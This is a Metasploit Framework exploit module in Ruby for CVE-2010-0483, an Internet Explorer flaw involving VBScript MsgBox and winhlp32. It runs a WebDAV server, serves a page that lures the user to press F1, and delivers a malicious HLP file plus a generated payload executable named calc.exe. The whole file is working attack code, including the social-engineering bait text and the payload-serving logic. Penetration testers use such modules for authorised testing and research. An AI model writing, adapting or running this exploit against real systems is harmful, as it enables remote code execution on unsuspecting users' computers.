##
# $Id: ms10_022_ie_vbscript_winhlp32.rb 10504 2010-09-28 16:19:50Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Winhlp32.exe MsgBox Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability that occurs when a user
presses F1 on MessageBox originated from VBscript within a web page. When the
user hits F1, the MessageBox help functionaility will attempt to load and use
a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.
This particular version of the exploit implements a WebDAV server that will
serve HLP file as well as a payload EXE. During testing warnings about the
payload EXE being unsigned were witnessed. A future version of this module
might use other methods that do not create such a warning.
},
'Author' =>
[
'Maurycy Prodeus', # Original discovery
'jduck' # Metasploit version
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10504 $',
'References' =>
[
[ 'CVE', '2010-0483' ],
[ 'OSVDB', '62632' ],
[ 'MSB', 'MS10-023' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981169.mspx' ],
[ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],
[ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
# Tested OK - Windows XP SP3 - jjd
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Internet Explorer on Windows',
{
# nothing here
}
]
],
'DisclosureDate' => 'Feb 26 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
ret = targets[1]
elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
ret = targets[1]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
ret = targets[1]
elsif agent =~ /MSIE 7\.0/
ret = targets[1]
elsif agent =~ /MSIE 6\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
ret
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
end
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
#
# GET requests
#
def process_get(cli, request, target)
print_status("Responding to GET request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.hlp$/i)
#
# HLP requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending HLP to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /calc\.exe$/i)
#
# send the EXE
#
print_status("Sending EXE to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
exe = generate_payload_exe({ :code => p.encoded })
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
else
#
# HTML requests sent by IE and Firefox
#
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
name = rand_text_alphanumeric(rand(8)+8)
#path = get_resource.gsub(/\//, '\\')
path = request.uri.gsub(/\//, '\\')
unc = '\\\\' + my_host + path + name + '.hlp'
print_status("Using #{unc} ...")
html = %Q|<html>
<script type="text/vbscript">
MsgBox "Welcome! Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
</script>
</html>
|
print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html)
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /calc\.exe$/i)
# Uncommenting the following will use the target system's calc (as specified in the .hlp)
#print_status("Sending 404 for #{path} ...")
#send_not_found(cli)
#return
# Response for the EXE
print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\.hlp/i)
print_status("Sending HLP multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Generate a HLP file that will trigger the vulnerability
#
def generate_hlp(target)
@hlp_data
end
#
# When exploit is called, load the runcalc.hlp file
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
path = File.join(Msf::Config.install_root, "data", "exploits", "runcalc.hlp")
fd = File.open(path, "rb")
@hlp_data = fd.read(fd.stat.size)
fd.close
super
end
end
